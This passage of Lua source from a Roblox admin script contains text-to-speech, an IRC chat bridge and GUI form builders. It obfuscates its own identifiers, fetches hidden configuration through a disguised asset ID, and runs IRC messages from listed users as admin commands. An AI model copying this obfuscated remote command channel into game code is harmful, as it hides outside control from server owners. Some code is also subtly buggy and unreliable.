TextConverter.LetterSounds["wh"]) table.remove(Letters, Num + 1) elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop table.insert(IDs, TextConverter.LetterSounds["ch"]) table.remove(Letters, Num + 1) elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone table.insert(IDs, TextConverter.LetterSounds["f"]) table.remove(Letters, Num + 1) elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger table.insert(IDs, TextConverter.LetterSounds[Num]) Letters[Num + 1] = "j" elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua table.insert(IDs, TextConverter.LetterSounds["oo"]) elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace table.insert(IDs, TextConverter.LongVowels["e"]) table.remove(Letters, Num + 1) elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people table.insert(IDs, TextConverter.LongVowels["e"]) table.remove(Letters, Num + 1) if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force table.insert(IDs, TextConverter.LetterSounds["s"]) Letters[Num + 1] = "~" elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like table.insert(IDs, TextConverter.LongVowels[Letter]) Letters[Num + 2] = "~" elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die table.insert(IDs, TextConverter.LongVowels["i"]) Letters[Num + 1] = "~" elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no table.insert(IDs, TextConverter.LongVowels["o"]) elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi table.insert(IDs, TextConverter.LongVowels["i"]) elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle AddLetter() table.remove(Letters, Num + 1) elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model Letters[Num] = "~" elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle AddLetter() table.remove(Letters, Num + 1) elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick AddLetter() table.remove(Letters, Num + 1) elseif Letters[Num+1] == Letter then table.remove(Letters, Num) elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click AddLetter() table.remove(Letters, Num) elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)]) elseif TextConverter.LetterSounds[Letter] then AddLetter() elseif STRING:IsSpacer(Letter) then table.insert(IDs, "Rest") end end end return IDs end function SOUND:StopSpeaking() coroutine.wrap(function() NoSpeak = true wait(1) NoSpeak = false for _,Obj in pairs(Server.Workspace:GetChildren()) do if Obj.Name == "M".."M".."L Speak Sound" then Obj:Destroy() end end end)() end function SOUND:SayConvertedText(IDs, Parent) if not Parent then Parent = Server.Workspace end local Sounds = {} for _,Data in pairs(IDs) do if NoSpeak and Parent == Server.Workspace then break end local Length = 0.3 if Data ~= "Rest" then local ID = Data[1] Length = Data[2] local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false) Sound.Name = "MML Speak Sound" table.insert(Sounds, Sound) Sound:Play() if Length then coroutine.wrap(function() wait(Length) Sound:Stop() end)() end end if not Length then Length = 0.3 end wait(Length/2) end coroutine.wrap(function() wait(1) for _,Sound in pairs(Sounds) do Sound:Destroy() end end)() end local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description function SOUND:BeepPlayer(Player) if Player:FindFirstChild("PlayerGui") then local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true) Beep.Name = "Annoy" Beep:Play() end end -- IRC functions -- function IRC:GenerateName() return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000) end function IRC:AddChat(Name, Data, IsError) if not IsError then IsError = false end CORE:Log(IRC.Logs, Name, Data) table.insert(IRC.Chats, {Name, Data, IsError}) IRC.MessageAdded:Fire(Name, Data, IsError) end function IRC:Post(URL,Data) if Data and Data ~= "" then local Suc,Resp = ypcall(function() return Server.HS:PostAsync( IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter), Data, Enum.HttpContentType.ApplicationUrlEncoded ) end) if not Suc then IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data) return false end IRC.SessionCounter = IRC.SessionCounter + 1 return Resp else IRC:AddChat("[ CLIENT ]", "Unknown error") end end function IRC:Send(Data) return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data)) end function IRC:GetData() return IRC:Post("s","&s="..IRC.SessionID) end function IRC:Connect() return IRC:Post("n","&nick="..IRC.NickName) end function IRC:Join(Channel) if not Channel then AddChat("[ CLIENT ]", "No channel specified!") return false else local Channel = string.lower(Channel) if string.sub(Channel,1,1) ~= "#" then AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true) return false end IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer) IRC:Send("JOIN "..Channel) IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName) return true end end function IRC:Pong(Data) return IRC:Send("PONG :"..Data) end function IRC:Quit(Reason) IRC.Stop = true return IRC:Send("QUIT :"..(Reason or "Disconnecting")) end function IRC:ReceiveData() IRC.Stop = false local Data = IRC:GetData() if Data then IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]") end while Data and not Stop do local Data = IRC:GetData() if Data and #Data > 0 then IRC:HandleResponse(REMOTE:Decode(Data)) end wait(2) -- Don't spam the server end if not Data then IRC:AddChat("[ CLIENT ]", "Could not get data", true) end if Stop == true then IRC:AddChat("[ CLIENT ]", "Disconnected from session", true) end end function IRC:ConnectToServer(Server) if Connected then if not IRC.Servers[Server] then IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true) return false end IRC:Quit("New Connection") end local Response = IRC:Connect() if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end local Data = REMOTE:Decode(Response) IRC.SessionID = Data[2] wait(1) if not tostring(IRC.SessionID) or IRC.SessionID == "?" then IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...") IRC:Quit() IRC:ConnectToServer(Server) end IRC.Connected = true IRC:Join(Settings.IRCChannel) IRC:ReceiveData() IRC.Connected = false IRC:AddChat("[ CLIENT ]", "Session ended", true) end function IRC:FindUser(UserName) for UserID,User in pairs(IRC.Users) do if string.lower(User) == string.lower(UserName) then return UserID end end return nil end function IRC:HandleResponse(Data) if type(Data) ~= "table" then IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true) ypcall(function() IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true) end) return false end for _,Output in pairs(Data) do if type(Output) == "table" and Output[2] then local ID = string.upper(Output[2]) if not IRC.Ignore[ID] then if ID == "PING" then IRC:Pong(Output[4][1]) elseif ID == "PRIVMSG" then local SenderDetails = Output[3] local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1) local Channel = string.lower(Output[4][1]) if Channel == IRC.NickName then Channel = Sender -- TODO: Handle PM's end local Message = Output[4][2] if Message ~= nil then if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots if string.find(Message,":") then local IRCUser = string.sub(Message,1,string.find(Message,":")-1) local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message) IRC:AddChat(IRCUser, IRCMessage) end else IRC:AddChat("[ IRC ] "..Sender,Message) for _,Name in pairs(Settings.IRCCommandExecuters) do if string.lower(Name) == string.lower(Sender) then CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true) break end end end else IRC:AddChat("[ CLIENT ]", "Message became nil for some reason") end elseif ID == "NICK" then local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1) -- change nickname? elseif ID == "433" or ID == "451" then IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one") IRC:Quit("Nickname in use, rejoining with new name") IRC.NickName = IRC:GenerateName() wait(2) -- wait for old sessions to end IRC:ConnectToServer(Settings.IRCServer) elseif ID == "353" then if Data[4][4][4] then for Output in string.gmatch(Data[4][4][4], "[^%s]+") do table.insert(IRC.Users, Output) end end elseif ID == "QUIT" or ID == "PART" then for User in string.gmatch(Data[1][3], "[^!~]+") do if IRC:FindUser(User) then IRC:AddChat("[ IRC ]", User.." has left") table.remove(IRC.Users, IRC:FindUser(User)) end end elseif ID == "JOIN" then for User in string.gmatch(Data[1][3], "[^!~]+") do if not string.find(User, "qwebirc") then IRC:AddChat("[ IRC ]", User.." has joined") table.insert(IRC.Users,w) end end elseif ID == "CONNECTION TO IRC SERVER LOST." then IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost") --IRC:Quit("Connection lost") --IRC:AddChat("[ CLIENT ]", "Retrying connection") --IRC:ConnectToServer(Settings.IRCServer) elseif IRC.Codes[ID] then --print(ID) --print(Data[i][4][2]) --print(Data[i][4][2]) elseif ID == "KICK" then IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC") IRC:Quit("Kicked from IRC") elseif ID then IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true) else IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true) end end else if Output == false then return false end -- sneeky server IRC:AddChat("[ CLIENT ]", "Unable to handle data") end end end -- GUI functions -- function GUI:GetColor(ColorName) if not ColorName then ColorName = Settings.ColorScheme end return Colors[string.upper(ColorName)] end function GUI:ContrastColor(Color) if type(Color) == "string" then Color = GUI:GetColor(Color) end if not Color then Color = GUI:GetColor() end return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1)) end function GUI:GetNameColor(Name) local Val = 0 for i = 1, #Name do local CVal = string.byte(string.sub(Name, i, i)) local RevIndex = #Name - i + 1 if #Name%2 == 1 then RevIndex = RevIndex - 1 end if RevIndex%4 >= 2 then CVal = -CVal end Val = Val + CVal end local Index = Val%8 + 1 return BrickColor.new(ChatColors[Index]) end function GUI:Color3ToHex(Color) local function ConvertNumber(Number) local HexString = "0123456789abcdef" local Byte = "" while Number > 0 do local Calc = math.fmod(Number, 16) Byte = string.sub(HexString, Calc+1, Calc+1)..Byte Number = math.floor(Number / 16) end if Calc == "" then Byte = "00" elseif #Byte == 1 then Byte = "0"..Byte elseif Byte == "" then Byte = "00" end return Byte end return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255) end function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame) if not Player then return nil end if not Player:FindFirstChild("PlayerGui") then return nil end local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar") if not TitleText then TitleText = "Unknown" end if not Size then Size = UDim2.new(0.5,0,0.5,0) end if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end if not IconID then IconID = 19919809 end if ShowFormButtons == nil then ShowFormButtons = true end if not ColorScheme then ColorScheme = Settings.ColorScheme end if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end if AutoOffset == nil then AutoOffset = true end if Icons[IconID] then IconID = Icons[IconID] end if TweenPosition == nil then TweenPosition = true end if NoModal == nil then NoModal = false end if NoScrollFrame == nil then NoScrollFrame = false end local IsClosed = false local Minus = nil local Offset = 0 local ContentType = "ScrollingFrame" local TweenSpeed = 0.3 if AutoOffset then for _,Item in pairs(Player.PlayerGui:GetChildren()) do if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then if Item.IsActive.Value == true then if Item.IsTrueForm.Value == true then Offset = Offset + 50 end end end end end if NoScrollFrame == true then ContentType = "Frame" end SOUND:PlayNotification(Player, 155331654) local Position = Position + UDim2.new(0,Offset,0,Offset) local MinimizePos = Position local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form" local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme) local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394" local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222" local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160" local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154" local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1}) local Functions = Instance.new("Folder", SG) Functions.Name = "Functions" local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close" local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed" local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize" local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized" local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore" local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored" if Settings.EnableTaskBar then Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157" else TitleEnd.Position = UDim2.new(1, -50, 0, 5) Title.Size = UDim2.new(1, -95, 0, 25) end if not ShowFormButtons then X:Destroy() TitleEnd:Destroy() Title.Size = UDim2.new(1, -55, 0, 25) end local function CloseForm() if IsClosed == false then IsActive.Value = false IsClosed = true ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) SG:Destroy() end) end) Closed:Fire() SOUND:PlayNotification(Player, 206375138) end end local function MinimizeForm() if IsActive.Value == true then IsActive.Value = false Minimized:Fire() MinimizePos = Dragger.Position ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end) end end local function RestoreForm() if IsActive.Value == false then IsActive.Value = true Restored:Fire() ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end) end end if X then X.MouseButton1Down:connect(CloseForm) end if Minus then Minus.MouseButton1Down:connect(MinimizeForm) end Close.OnInvoke = CloseForm Minimize.OnInvoke = MinimizeForm Restore.OnInvoke = RestoreForm if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end if TaskBar then TaskBar:WaitForChild("AddForm") TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore) end return Content, Close, Closed, Minimize, Minimized, Restore, Restored end function GUI:CoreGui(Player, Type, Enable) local Parent = Player:FindFirstChild("Backpack") if not Parent then Parent = Player.Backpack end CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable}) end function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime) if not Player or not Player:IsA("Player") then return nil end if BodyText == "" then return nil end if not Player:FindFirstChild("PlayerGui") then return nil end local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText} local TextColor = GUI:GetColor(MessageSplit[1]) if TextColor then BodyText = MessageSplit[2] end BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000) local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID) local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top" if Frame then local FormBar = Frame.Parent.Parent.FormBar local Said = false local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369" if Settings.EnableTaskBar then FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5) FormBar.Title.Size = UDim2.new(1, -145, 0, 25) else Speak.Position = UDim2.new(1, -58, 0, 5) FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5) FormBar.Title.Size = UDim2.new(1, -120, 0, 25) end Speak.MouseButton1Down:connect(function() if not Said then Said = true SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame) end end) if TextColor then Body.TextColor3 = TextColor else Body.TextColor3 = Color3.new(1,1,1) end if tonumber(Time) then coroutine.wrap(function() if AutoTime then Time = Time + math.floor(#BodyText/7) end local Alive = true local function StopTimer() Alive = false end Closed.Event:connect(StopTimer) Minimized.Event:connect(StopTimer) Frame.Size = Frame.Size + UDim2.new(0,0,0,-30) Frame.Position = Frame.Position + UDim2.new(0,0,0,30) local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18" local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354" Stop.MouseButton1Down:connect(StopTimer) for i = Time,0,-1 do for ii = 1,10 do if Alive == true then Ticker.Text = i wait(0.1) else break end end end if Alive == true then Close:Invoke() else Ticker:Destroy() Stop:Destroy() Frame.Size = Frame.Size + UDim2.new(0,0,0,30) Frame.Position = Frame.Position + UDim2.new(0,0,0,-30) end end)() end CORE:ExecuteResource("CalculateScrollY", Body) end end function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error) if not Player then return nil end if not Player:IsA("Player") then return nil end if BodyText == "" then return nil end if not Player:FindFirstChild("PlayerGui") then return nil end BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000) local TextColor = GUI:GetColor() if Error then TextColor = Color3.new(1,0,0) end local Frame, Close, Closed = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID) local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor CORE:ExecuteResource("CalculateScrollY", Body) return Frame, Close, Closed end function GUI:SendHint(Player, Text, Time) coroutine.wrap(function() Text = STRING:FormatReplace(Player, string.sub(Text,1,100)) if not Time then Time = 5 end local SG,TypeAction,Num = Instance.new("ScreenGui"),nil,0 SG.Name = "LuaMod".."".."elM".."aker's Admin Hint" local Frame = Instance.new("Frame", SG) Frame.Name = "Hint Frame" Frame.Position = UDim2.new(0,0,0,-80) Frame.Size = UDim2.new(1,0,0,30) Frame.BackgroundColor3 = GUI:GetColor() Frame.BackgroundTransparency = Settings.TransparencyScheme local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.ZIndex = 2 Body.Text = "" Body.BackgroundTransparency = 1 Body.Size = UDim2.new(1,0,1,0) Body.Font = "ArialBold" Body.FontSize = "Size18" Body.TextColor3 = GUI:ContrastColor() for _,Object in pairs(Player.PlayerGui:GetChildren()) do if Object.Name == "LuaMod".."elMaker".."'".."s Admin Hint" then Object:Destroy() end end SG.Parent = Player.PlayerGui Frame:TweenPosition(UDim2.new(0,0,0.05,0), "In", "Quint", 0.7) wait(0.8) TypeAction = Server.RS.Stepped:connect(function() Num = Num + 1 Body.Text = string.sub(Text,1,Num) if Num == #Text then TypeAction:disconnect() end end) wait(Time) if Frame and Frame.Parent then Frame:TweenPosition(UDim2.new(0,0,0,-80), "Out", "Quint", 0.7, true, function() SG:Destroy() end) end end)() end function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor) if not Player then return nil end if not Player:FindFirstChild("PlayerGui") then return nil end if not PreSearch then PreSearch = "" end if AutoNumber == nil then AutoNumber = true end local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor) local SearchBar = Instance.new("TextBox", Frame.Parent) SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" Frame.Size = Frame.Size + UDim2.new(0,0,0,-30) Frame.Position = Frame.Position + UDim2.new(0,0,0,30) local SearchVer = 0,nil local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked" local function ShowResults(Key) SearchVer = SearchVer + 1 local ThisSearchVer = SearchVer if ScrollScript then ScrollScript.Disabled = true ScrollScript:Destroy() end for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end local NumPos,Num = 0,1 for _,Data in pairs(List) do if ThisSearchVer ~= SearchVer then break end local String = STRING:Defilter(tostring(Data)) if String then local ImageIcon = nil if type(Data) == "table" then String = Data[1] ImageIcon = Data[2] end local TextColor = GUI:ContrastColor() local StringSplit = STRING:GetSplit(String, 1, " ") local NewColor = GUI:GetColor(StringSplit[1]) if NewColor then TextColor = NewColor String = StringSplit[2] end if string.find(string.lower(String), string.lower(Key)) then Spacer = false local Font = Settings.Font local Split = STRING:GetSplit(String, 1, " ") if string.sub(string.lower(String),1,6) == "bold: " then Font = "ArialBold" String = string.sub(String,7) elseif Fonts[Split[1]] then Font = Split[1] String = Split[2] end if string.sub(String,1,2) == "--" then Spacer = true end local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end if ImageIcon then if tonumber(ImageIcon) then ImageIcon = "rbxassetid://"..ImageIcon elseif Icons[ImageIcon] then ImageIcon = "rbxassetid://"..Icons[ImageIcon] end Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true Content.Text = "" NumPos = NumPos + 90 else NumPos = NumPos + 30 end if not Clickable then Content.AutoButtonColor = false Content.Active = false Content.BackgroundTransparency = 1 elseif ClientInfo[Player.Name] and ClientInfo[Player.Name].TouchScreen ~= true then SOUND:BindButton(Content) Content.MouseButton1Down:connect(function() Clicked:Fire(String) end) end if Spacer == false then Num = Num + 1 end end end end Frame.CanvasSize = UDim2.new(0,0,0,NumPos) ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos}) end ShowResults(PreSearch) SearchBar.Changed:connect(function(Prop) if Prop == "Text" then ShowResults(SearchBar.Text) Frame.CanvasPosition = Vector2.new(0,0) end end) return Clicked, Close end function GUI:PropertyGui(Player, Title, Icon, Properties) if not Player then return nil end if not Player:FindFirstChild("PlayerGui") then return nil end if type(Properties) ~= "table" then return nil end local HasClosed = false local NewProperties = {} local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon) Frame.ClipsDescendants = true local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2 for PropertyName,Data in pairs(Properties) do NewProperties[PropertyName] = Data[1] end local YCount = 0 for PropertyName,Data in pairs(Properties) do if type(Data) == "table" then local DefaultValue = Data[1] local Writable = Data[2] local ValueType = Data[3] if Writable == nil then Writable = false end if type(ValueType) == "string" then -- now this is confusing ValueType = string.lower(ValueType) 